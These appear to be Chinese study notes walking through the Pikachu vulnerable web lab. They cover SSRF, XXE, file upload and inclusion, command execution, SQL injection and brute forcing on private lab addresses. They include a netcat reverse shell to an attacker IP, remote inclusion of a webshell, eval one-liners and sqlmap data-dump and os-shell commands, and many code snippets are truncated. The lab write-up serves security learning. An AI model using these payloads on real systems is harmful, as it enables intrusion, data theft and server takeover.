pikachu
攻略:https://blog.csdn.net/qq_53571321/article/details/121692906
https://blog.csdn.net/qq_65165505/article/details/131568188
SSRF
原理、绕过、防御的介绍:https://blog.csdn.net/qq_43378996/article/details/124050308
SSRF(Server-Side Request Forgery:服务器端请求伪造)
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
数据流:攻击者—–>服务器—->目标地址
根据后台使用的函数的不同,对应的影响和利用方法又有不一样
PHP中下面函数的使用不当会导致SSRF: |
如果一定要通过后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好目标地址的过滤。
SSRF(curl)
页面只有一个可点击的文字,不懂跳转到哪,尝试点击
可以看到点击后,向该文件传了个url参数,可以尝试通过该参数去访问外站,或获取相应内网信息,先试试访问百度,发现确实可以
核心代码
if(isset($_GET['url']) && $_GET['url'] != null){ |
就是将传入的连接用curl执行,返回信息存到$RES,最后打印出来
所以,接收URL时要注意过滤,同时这个漏洞也可以被利用来获取真实ip,把传入的url换成相应的dnslog网站即可https://blog.csdn.net/weixin_39190897/article/details/117197126
不懂怎么解析在这
SSRF(file_get_content)
同样的操作,这里不再是传url了而是file,说明ssrf不仅可以利用来访问外站,还可以内部横向获取信息,我们尝试利用目录遍历,看看能不能访问到敏感文件
可以看到确实访问了敏感文件,这也是ssrf不出网的一种利用方式,这里有gopher版本的https://blog.csdn.net/weixin_43221560/article/details/108107826
核心代码
//读取PHP文件的源码:php://filter/read=convert.base64-encode/resource=ssrf.php |
关键就是使用 file_get_contents() 函数读取文件内容,并将结果存储在 $str 变量中
URL重定向
不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。
如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话
就可能发生”跳错对象”的问题。
url跳转比较直接的危害是:
–>钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站
这个主要就是点击连接跳转的不是自己想去的地址
from flask import Flask, redirect |
这个就是一个重定向的过程,当我们访问网站根目录是会跳转到home
这时候如果我们将他换成baidu首页试试
你会发现访问连接后直接来到baidu页面
XXE
介绍:https://security.tencent.com/index.php/blog/msg/69
XXE -“xml external entity injection”
既”xml外部实体注入漏洞”。
概括一下就是”攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题”
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。
本章提供的案例中,为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析。
这里会提交一个表单,我们先随便输点东西,抓包下来分析数据包
可以看到xml是作为post的请求体传输的,里面一个参数xml和提交的url编码,这里我们可以通过对修改xml为对应的xml信息
|
传递参数的时候要记得url编码
也可以读取文件
<?xml version = "1.0"?> |
同样url编码一下
核心代码:
防范方法
严格检查用户输入的字符;
检查使用的底层XML解析库,使用禁用外部实体的方法
JAVA下:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false); |
- PHP下:
libxml_disable_entity_loader(true);
- Python下:
from lxml import etree |
- 操作XML时对格式字符进行转义处理,常见的格式字符如下表: <; < > > & & ‘ ‘ “ “
PHP反序列化
个人笔记:E:\Youzipii\source_posts\php-SER-libs.md
在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。
序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:
class S{ |
反序列化unserialize()
就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}"); |
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
常见的几个魔法函数: |
这里我们先查看源代码
|
简单分析下逻辑,我们需要触发的魔术方法是construct,这个是在对象创建的时候自动调用的,当我们反序列化一串序列化后的对象,就会触发这个方法,且方法的功能是将pikachu写道test‘里,我们需要将test改为我们想输出的内容,比如弹窗
|
在线运行即可,再将打印的序列化的字符串输入测试
敏感信息泄露概述
由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到。 比如:
—通过访问url下的目录,可以直接列出目录下的文件列表;
—输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;
—前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等;
类似以上这些情况,我们成为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞,但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。 因此,在web应用的开发上,除了要进行安全的代码编写,也需要注意对敏感信息的合理处理。
在测试页面能找到账号密码
目录遍历漏洞
在web功能设计中,很多时候我们会要将需要访问的文件定义成变量,从而让前端的功能便的更加灵活。 当用户发起一个前端的请求时,便会将请求的这个文件的值(比如文件名称)传递到后台,后台再执行其对应的文件。 在这个过程中,如果后台没有对前端传进来的值进行严格的安全考虑,则攻击者可能会通过“../”这样的手段让后台打开或者执行一些其他的文件。 从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞。
看到这里,你可能会觉得目录遍历漏洞和不安全的文件下载,甚至文件包含漏洞有差不多的意思,是的,目录遍历漏洞形成的最主要的原因跟这两者一样,都是在功能设计中将要操作的文件使用变量的 方式传递给了后台,而又没有进行严格的安全考虑而造成的,只是出现的位置所展现的现象不一样,因此,这里还是单独拿出来定义一下。
需要区分一下的是,如果你通过不带参数的url(比如:http://xxxx/doc)列出了doc文件夹里面所有的文件,这种情况,我们成为敏感信息泄露。 而并不归为目录遍历漏洞。(关于敏感信息泄露你你可以在”i can see you ABC”中了解更多)
你可以通过“../../”对应的测试栏目,来进一步的了解该漏洞。
随便点击页面中的两个连接,发现传递的参数是一个文件,可以试试能不能进行目录遍历
title=../../../../../../../etc/passwd #几个..没关系,数量够多就都是从根目录开始访问 |
看下代码:
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); |
include和require:https://www.runoob.com/php/php-includes.html
require会把传进来的文件和soup进行拼接,访问,所以我们可以通过目录遍历的方式访问到相应的文件
越权
如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。
一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。
因此,在在权限管理中应该遵守:
1.使用最小权限原则对用户进行赋权;
2.使用合理(严格)的权限校验规则;
3.使用后台登录态作为条件进行权限判断,别动不动就瞎用前端传进来的条件;
你可以通过“Over permission”对应的测试栏目,来进一步的了解该漏洞。
水平越权
先随便登陆一个用户,查看个人信息
尝试修改username,看下能否访问到其它用户的信息
可以看到我们修改后不用登陆就可以看到kobe的信息了
垂直越权
第一步:打开pikachu的垂直越权
点开提示,发现有一个高权限用户admin和低权限用户pikachu
第二步:分别登录上两个不同账户进行查看,发现admin有添加用户的权限,而pikachu只有查看用户的权限
第三步:垂直越权测试(使用pikachu的身份去添加用户)
首先,先登录行admin账号,添加账户,然后把添加账户的数据包拦截导入 Repeater (重放器)模块
此时把当前拦截的数据包丢弃,admin账户退出登录
第四步:在admin账户退出登录的情况下,重新发送创建账户的数据包
然后用pikachu普通用户身份登录查看账户是否创建成功
发现并没有刚刚创建的账户二狗
原因:创建二狗用户的时候admin账户已退出登录
第五步:使用pikachu的身份创建二狗账户
查看数据包中最后一个数据包就是刚刚pikachu登录的数据包
复制其中的cookie替换repeater中的cookie
发送,再回到页面查看
成功添加zs用户
不安全的文件上传
https://blog.csdn.net/qq_43390703/article/details/104858705
因为业务功能需要,很多web站点都有文件上传的接口,比如:
1.注册时上传头像图片(比如jpg.png,gif等) ;
2.上传文件附件( doc,xIs等) ;
而在后台开发时并没有对上传的文件功能进行安全考虑或者采用了有缺陷的措施,导致攻击者可以通过一些手段绕过安全措施从而上传一些恶意文件(如:一句话木马)从而通过对该恶意文件的访问来控制整个web后台。
文件上传漏洞测试流程:
1,对文件上传的地方按照要求上传文件,查看返回结果(路径,提示等);
2 ,尝试上传不同类型的“恶意”文件,比如xx.php文件,分析结果;
3,查看html源码,看是否通过js在前端做了上传限制,可以绕过;
4 ,尝试使用不同方式进行绕过:黑白名单绕过/MIME类型绕过/目录0x00截断绕过等;
5,猜测或者结合其他漏洞(比如敏感信息泄露等)得到木马路径,连接测试。
client check
发现有过滤、查看源码
发现只允许上环这三类文件,但过滤是在前端,所以我们可以抓包修改后缀,准备好测试文件my.jpg
|
可以看到文件上传成功,访问看下是否被解析
也可以用一句话木马来获得shell,直接修改刚刚的数据
MIMEtype
这一关我们首先要知道MIME是什么
https://www.runoob.com/http/mime-types.html
常见的 MIME 类型
- 超文本标记语言文本 .html、.html:text/html
- 普通文本 .txt: text/plain
- RTF 文本 .rtf: application/rtf
- GIF 图形 .gif: image/gif
- JPEG 图形 .jpeg、.jpg: image/jpeg
同样的方法,我们先上传文件,抓包,跳过前端过滤
这是jpeg的MIEME,我们可以试着不修改这个,只修改后缀上传一下看会发生什么
发现还是可以上传成功的,我们试试直接上传php文件,不修改后缀
发现返回了octet-stream,我们尝试修改这个为刚刚的jpg
发现上传成功
同样是会被解析的,shell我就不试了,一样的方法
getimagesize()
按照前面的流程走了一下
加个文件头试试
还是不行,估计后端还有过滤,可以试试图片马,分析一下,getimagesize
Getimagesize ( )返回结果中有文件大小和文件类型,如果用这个函数来获取类型,从而判断是否是图片的话,会存在问题。
是否可以绕过呢?可以,因为图片头可以被伪造。
图片木马的制作:
方法1 :直接伪造头部GIF89A
方法2.CMD: copy /b test.png + muma.php ccc.png
方法3.使用GIMP (开源的图片修改软件) , 通过增加备注,写入执行命令
法一:可以发现路径都变复杂了,访问一下试试
但访问该页面,phpinfo()没有被执行,所以还需要利用到文件包含漏洞,修改路径
http://192.168.174.142:8080/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2024/07/09/631387668ce6236f935032106790.jpg&submit=%E6%8F%90%E4%BA%A4 |
不安全的文件下载
文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后 会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。
此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。
所以,在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑。 切记:所有与前端交互的数据都是不安全的,不能掉以轻心!
进入页面
点击头像下载文件,试一试
抓下下载包
发现下载连接,我们可以通过修改filename来下载其它文件
文件包含
https://www.freebuf.com/articles/web/367359.html
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:
1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。
local
随便提交一个内容,发现返回了文件名,可以通过修改filename参数,访问敏感文件
remote
和上一关不同的是,这一关可以进行远程访问,我们可以通过这个访问百度
也就意味着可能通过这个下载自己上传到服务器的木马,我们可以看下这两个的源码有什么区别
local: |
可以啊看到本地的他多了个文件显示,而远程的他是把你的参数直接包含过来,没有其它的内容
获得shell
首先访问网页:http://192.168.174.160/pikachu/vul/fileinclude/fi_remote.php
出现这个问题,你就去小皮文件里的php里找到对应版本的php.ini
然后重启服务
随便提交一个查询
可以看到存在文件包含漏洞,看下能不能包含baidu
成功包含,下面用python起一个服务器
python -m http.server 9966 |
在这里启动服务器,然后访问
http://192.168.174.160:9966 |
然后将前面包含百度的连接改为我们服务器的连接
http://192.168.174.160/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.174.160:9966/shell.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 |
文件包含这个连接,事没有下载的,只是包含在也面里,所以我们需要利用php的fputs函数创建文件,并写入shell,所以说自己写一个马
|
然后去包含这个连接
http://192.168.174.160/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.174.160:9966/myshell.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 |
发现成功上传了,路径就是fileinclude那个目录,接下来用蚁剑或冰蝎都可以连
RCE(remote command/code execute)
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器
现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过”自动化运维平台”进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的”收获”-_-
远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
管道符号和通用命令符
LInux:
;前面的执行完执行后面的
echo 1;echo 2;echo 3 |
|是管道符,显示后面的执行结果
touch 1.txt | cat 1.txt | echo 1 |
||当前面的执行出错时执行后面的,否则不执行后面的
echo 1 || echo 2 |
Windows
&前面的语句为假则直接执行后面的
ping 1234.1 & whoami |
&&前面的语句为假则直接出错,后面的也不执行
ping 1234.1 && whoami |
|直接执行后面的语句
echo 1 | whoami |
||前面出错执行后面的,否则只执行前面的
ping 124.1 || whoami // username |
ping
ping一下本地地址,通过或来执行别的命令
可以看到是windows的目录,我们上传一下nc,用来反弹shell
python -m http.server 9966 |
在攻击机监听
nc -lvvp 6666 |
反弹shell
127.0.0.1 | nc64.exe -e cmd 192.168.174.142 6666 |
成功反弹
exec “eval”
动态执行代码:eval() 函数使程序能够在运行时动态执行字符串中的代码。它可以将字符串中的代码作为有效的程序代码进行解析和执行。
字符串转换为代码:eval() 函数将接收到的字符串参数解析为编程语言的有效代码,并尝试执行该代码。这意味着您可以在字符串中包含变量、表达式、函数调用等,并且它们将在执行时被解释和计算。
直接执行phpinfo();即可
再php下,允许命令执行的常见函数
eval() assert() preg_replace() call_user_func() $a($b) |
pattern:要搜索的模式,可以是一个字符串或字符串数组。当pattern出存在一个“/e”修饰符时,$replacement的值会被当成php代码来执行。
常用利用方式
?a=@eval($_POST[666]);一句话木马 |
SQL注入
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了”拼接”的方式,所以使用时需要慎重!
数字型注入post
简单提交下,有回显,但post表单数据不在url显示,我们抓包下来测试
数字型注入,找一下有几个字段
说明有2个字段,测试下回显位置
下面就是查库、表、列名了,这里用联合查询注入的方法
表
union select 1,table_name from information_schema.tables where table_schema="pikachu" |
列
union select 1,column_name from information_schema.columns where table_schema="pikachu" and table_name="users" |
有了字段名,下面就可以查询用户名和密码了
密码可以拿去cmd5网站去跑一跑
也可以用sqlmap来跑,先把抓到的包保存1.txt
sqlmap教程https://blog.csdn.net/dzqxwzoe/article/details/132683722
然后用sqlmap去判断有没有注入点
python sqlmap.py -r 1.txt |
中间弹出的信息,可以稍微看一下,根据需要选择,有些不想询问的可以加上–batch参数
这里弹出的level是指需要执行的测试等级,一共有5个等级(1-5) 不加 level 时,默认是1
5级包含的payload最多,会自动破解出cookie、XFF等头部注入,相对应他的速度也比较慢,这里我们也是默认即可
这里提示检测到参数可能存在攻击,是否跳过其它参数的检测,这里我们就跳过
这里只执行基本UNION测试。您想要减少请求的数量吗?我们选择yes
最终也是测试出来存在这些注入,然后我们可以进一步去测试了
获取库名
python sqlmap -u "url" --dbs / -r 1.txt --dbs |
有时候获取库名比较慢,尤其是在时间盲注的情况下
查看当前使用的数据库
python sqlmap -u "url" --current-db / -r 1.txt --current-db |
查看数据表
python sqlmap -u "url" -D "pikachu" --tables / -r 1.txt -D "pikachu" --tables |
查看字段名
python sqlmap -u "url" -D "pikachu" -T "users" --column / -r 1.txt -D "pikachu" --column |
查看字段内容 –dump,中间可能会跳出是否需要破解,先不选,比较耗时间,可以提出来自己去破解
字符型注入get
get方法会在url里中看到参数的内容,这里我们就不用sqlmap了,在hackerbar里测试把,同样的注入点,手工联合注入一下
测试闭合
http://192.168.174.143/pikachu/vul/sqli/sqli_str.php?name=1'&submit=%E6%9F%A5%E8%AF%A2 |
单引号,测试字段数,要注意我们传进去的引号被url编码了,所以我们后面的测试语句也要url编码再执行
空格是被换成+号了,还是在原来的输入框里测试把,注意加上#号注释后后买你的判断,当我们
http://192.168.174.143/pikachu/vul/sqli/sqli_str.php?name=1%27+order+by+3%23&submit=%E6%9F%A5%E8%AF%A2 |
发现是2个字段,测试回显位
http://192.168.174.143/pikachu/vul/sqli/sqli_str.php?name=1%27+union+select+1%2C2%23&submit=%E6%9F%A5%E8%AF%A2 |
同样的方法,库表列
这里就不敲了,拿sqlmap试试batch参数
加上batch参数后,就不用一直输如y了,都是执行默认条件,就到这里了
搜索型注入
参考:https://www.cnblogs.com/IronMind/p/16973627.html
通过测试我们可以看到,用%这个通配符,我们可以获得所有得信息,说明存在注入漏洞,测试字段数,测试字段数就不用%了
测出来3个,下面就是测试回显位置,和联合注入差不多,如果要用%来做得话
%' union select 1,2,3,4 and '%'='&submit=搜索 |
来通过页面回显是否正常判断,基本上就是靠猜
%'and(select count(*)from users)>0 and '%'='&submit=搜索 |
没有报错就说明有这个表,对于不存在得表会返回报错信息
这里再补充一个sqlmap的参数,他可以用–data指定传递的参数,所以有时候post也可以用这种方法来进行,就不一定要抓波,虽然抓包还是靠谱一点,不会漏参数
xx型注入
https://blog.csdn.net/witwitwiter/article/details/115939955
感觉就是字符型,主要就是找闭合方式
常见闭合方式就是单双引号+括号的组合,比如’ ‘,”,’),”).
insert/update注入
进来页面先注册一个用户,又有一个修改信息的页面,正好对应了insert和update两个操作,来insert把,抓包
简单测试了下,确实存在注入点,用sqlmap测试一下,正好试试–data参数
python sqlmap.py -u "http://192.168.174.143/pikachu/vul/sqli/sqli_iu/sqli_reg.php" --data "u |
用的时候data的数据可以用*标出来注入点,这里因为前面多打了个引号。。
这下出来了,下面试试手注
https://blog.csdn.net/m0_60988110/article/details/123544853
先判断注入点一个’就够,然后判断闭合方式
由图我们可以看出闭合方式是一个单引号,但后面还有其它数据给他再闭合一下
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and' |
查表
username=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and' |
查列
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e),1) and' |
查数据
username=1'and updatexml(1,concat(0x7e,substr((select group_concat(id,':',username,':',password) from users),1,31),0x7e),1) and' |
delete注入
顾名思义,删除注入,我们删除一个留言抓包
推测注入点就是那个id,可以发到repeater’试试
看下字符型还是数字型
可以看到正常回显说明是数字型,但删除了,加参数没返回字段,也就没回显了,可以用报错注入试试
or updatexml(1,concat(0x7e,database()),0)# |
这个还是比较累的,用sqlmap试试
http-header注入
什么是Http Header注入
有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)
或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等等。
会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑,则可能会导致基于http header的SQL Inject漏洞。
登陆上去,刷新页面抓包,测试下User-agent是否存在注入点,发现是存在
' or updatexml(1,concat(0x7e,database()),0) or ' |
可以爆出库名,下面就是一步一步的测试了,要注意前后引号闭合,逻辑连续
也可以用sqlmap注入,但要用-p指定,因为默认的level好像是不检查这些字段的
试试cookie注入,前面的-p也可以指定cookie
加个引号之后,有报错回显,这里就不手工测了,sqlmap测一下–cookie参数,顺便补充个知识点,–form能看post的表单,省的抓包,但我感觉还是抓个包不容易漏东西
python sqlmap.py -u "http://192.168.174.160/pikachu/vul/sqli/sqli_header/sqli_header.php" --cookie="uname=admin" --level 3 |
也是可以测试出来的,试试-p
>python sqlmap.py -r 1.txt -p cookie --level 3 |
好像不能加batch,中间有个要编码选项要选no,不然会失败
盲注
盲注分为布尔盲注和时间盲注,都是根据页面的不同响应来爆破信息等,这里
布尔盲注
当我们输入kobe时,是正常回显,现在我们给他加上注入,加上不正常的输入时
它会提示我们用户不存在,这时候,如果我们再将他后面的判断条件补上一个恒真的式子时
再结合上ascii和substr函数,慢慢对字段进行爆破,这里以数据库为例
kobe' and ascii(substr(database(),1,1))=112# |
ascii码112是p正好对应pikachu的第一个,就这样慢慢测试,所以用sqlmap比较方便
这里扫出来是用时间盲注,这里两个都是可以用的,知识sqlmap先使用那个的区别罢了
最后也是扫出来了
时间盲注
布尔盲注是根据回显页面不同来判断爆破数据,而时间盲注则是通过返回时间的不同来判断判断猜测的数据是否正确
说明存在一个基于时间的payload。
kobe' and if((substr(database(),1,1))='p',sleep(5),null)# |
时间停止了5秒,则说明第一个字符是p。如果时间不停止,则说明不是p,这样字测试也比较累,还是用sqlmap把
宽字节注入
https://blog.csdn.net/qq_46091464/article/details/105893529
https://blog.csdn.net/qq_45813980/article/details/119295166
python sqlmap.py -r 1.txt --batch --tamper=unmagicquotes.py --current-db |
宽字节要用到tamper里的脚本
下面来手工测试一下
下面就是正常的测试了,我们来看看源码分以下
if(isset($_POST['submit']) && $_POST['name']!=null){ |
单引号因为PHP中使用addslashes函数,被转义为\’,编码后就是%5c%27
加上pyload中的%df 后,就是 %df%5c%27 ,然后MySQL在使用GBK编码的时候,会认为两个字符为一个汉字, %df%5c就被解析为一个汉字,%27也就是单引号就成功逃逸了,成功实现闭合,后面就可以通过or 来执行语句了。
sqlmap获取shell
https://www.cnblogs.com/xinxin999/p/12411990.html
首先是–os-shell,os-shell创建一个对方操作系统的shell,远程执行系统命令,但是我们的知道一些条件,第一是语言,这个很简单
第二是晓得绝对路径,怎么找绝对路径我也总结了,就在我的github上,选项一为用这几个路径,选项二为用户自己输入,选项三为用用户的字典,选项四为爆破。
但这里失败了,看了下有三个条件
1、网站是root权限
2、攻击者要知道绝对路径
3、GPC为off,php主动转义功能关闭
https://www.freebuf.com/articles/es/229425.html
原理:https://www.cnblogs.com/BxScope/p/10883422.html
权限:https://blog.csdn.net/Jiajiajiang_/article/details/86226884
下面按这几步试试
可以看到是false,再看看current-user
发现是root啊,可能是没有权限,去赋予一下
还是失败,估计是有什么东西没开,搜了下,secure_file_priv的值要为空,就是什么都没有
如果显示是null的话,可以去my.ini的[mysqld]下添加
可以看到成功写如shell
试试–os-cmd=whoami,感觉前面那个能执行,这个也可以,文章说这个是不需要你输入路径的,我们只需要看自己的权限,是不是DBA权限–is-dba。如果是sqlserver要看开启xp_cmdshell没有,如果开启了,那就可以使用。
–sql-shell,这个就是获取执行sql的shell,可以在里面执行查询语句等
select host,user,password from mysql.user |
也可以用load_file读取一些文件
也可以写入一句话木马
但返回信息要要可以执行堆叠注入才行,等等换个试试,试试连接数据库
python sqlmap.py -d "mysql://root:root@192.168.174.160/pikachu" |
也不行,要开启远程连接权限
use mysql; |
测试下写马,但好像文件没有开写权限所以写不进去,还是比较麻烦的,还得文件有写入得权限
CSRF(跨站请求伪造)
Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为”one click”攻击。 很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。
CSRF不能获取到Cookie,只能借用而xss是能获取到明文cookie的
XSS利用站点内的信任用户,而CSRF则通过伪装成受信任用户请求受信任的网站。
一、通过图片的img src属性,自动加载,发起GET请求
二、构建一个超链接,用户点击以后,发起GET请求
三、构建一个自动提交的表单(隐藏),用户访问,发起POST请求
攻击者只有预测出URL的所有参数与参数值,才能成功地构造一个伪造的请求;反之,攻击者将无法攻击成功。
防护
a、我们能不能区分一个请求是来自于自己的前端页面,还是第三方的网站?
b、怎么让自己的前端页面和伪造的请求变得不一样呢?

1.暴力破解
1.1暴力破解
账号或密码都不存在,上BP
发送攻击模块,因为用户名或密码都不知道,同时进行爆破
首先对变量1进行设置。
然后开始攻击即可
//典型的问题,没有验证码,没有其他控制措施,可以暴力破解 |
1.2.验证码绕过server
随便输输,验证失败后会刷新验证码,抓包试试
猜测只有当页面刷新时,验证码才会重新刷新
可以看到,确实是这样,可能验证码都在数据库里,不是随机生成的。
同样可以成功
1.3.验证码绕过client
客户端验证码,先输入正确的测试一下
是正常显示的,考虑到是客户端验证码,查看其生成验证码原理(源代码)
在源代码中搜错这个函数
var code; //在全局 定义验证码 |
可以看到验证码是在前端生成和验证的,所以我们试试抓包然后爆破
当然也有另一种方法,先F12,再F1,选择禁用JavaScript
然后就不用输入验证码了
1.4.token防爆破?
“token”通常指的是一个用于验证用户身份和授权访问的令牌。它是一种特殊的字符串或代码,由服务器生成并分配给经过身份验证的用户。用户在成功登录后,服务器会颁发一个token给客户端(例如Web浏览器),客户端将在随后的请求中将该token作为身份验证凭据发送给服务器。
对于有token的的验证,我们适用于已经知道账号的情况,或者账号和密码一一对应的情况,并且我们的暴力破解方式就要有所调整,我们依旧是先抓包,并发送到攻击模块
我们这里的攻击目标要选择password,以及token,攻击方式选择Pitchfork
下面我们来到payloads模块,password设置和之前一样,上传我们的爆破字典即可,第二个位置token处进行如下设置,我们首先来到Options模块
我们将刷新的请求中的数据包下滑,大约在927行左右找到token,选中并且复制,然后点击ok
我们再回到payloads模块,前两个位置和前几关一样,正常选择字典即可,第二个位置选择Secursive grep(递归搜索),并且将我们刚刚复制的token粘贴到下面的框里,开始攻击即可。
如果出现以下错误
我们来到resource pool模块,选择创建新的资源池,并把最大请求数改为1,然后开始攻击即可
验证码
1.无验证码的爆破
设置代理,这样出口ip就会发生变化
访问目标网址
抓包
发送到intruder模块爆破,这里就不替换帐号了,只对密码进行替换
导入自己下载的字典
开始爆破即可
可以根据状态码和返回包长度进行结果的判断,这里是一个没成,这个和字典的好坏有关,这里只是学习测试用
2.带验证码的爆破
工欲善其事必先利其器,我们先来学下需要用到两个的插件
https://blog.csdn.net/zdn2325/article/details/125523694
下载好server.py和对应jdk版本的jar包,启动server.py
在bp中添加插件
复制图片的url地址到burp的xiapao插件里面对应的位置,我这里选用的是编号为2,所以对应的关键字就是@xiapao@1@,这里有两个识别方式muggle_ocr和ddddocr,这两种都可以使用自己辨别那个正确率高就用哪个。我这里用的第一个。上面的瞎跑接口就是默认的接口。右边的三个全部勾上,保存配置。
抓网页的包
如果没有回包,记得把前面设置的proxy关闭,然后有这种空格是编码问题,可以先复制到txt文本文件里查看,也可以在设置里搜索font,把编码方式换成宋体等
下面把包发送到intruder然后code换成我们刚刚的@xiapao@1@
配置好字典,然后线程池数量调成1
然后有问题的话应该是post方法导致的,你可以试着把整个post包放到xiapao里
然后开始爆破
这种就是匹配失败
这种是匹配成功
这种就是太频繁导致ip被ban了,可以通过切换代理地址的方式解决,可以试着开启sockets proxy,这里是vpn环境所以被限制了,在xiapao日志里也可以看到匹配结果
下面介绍第二种工具
- https://github.com/f0ng/captcha-killer-modified
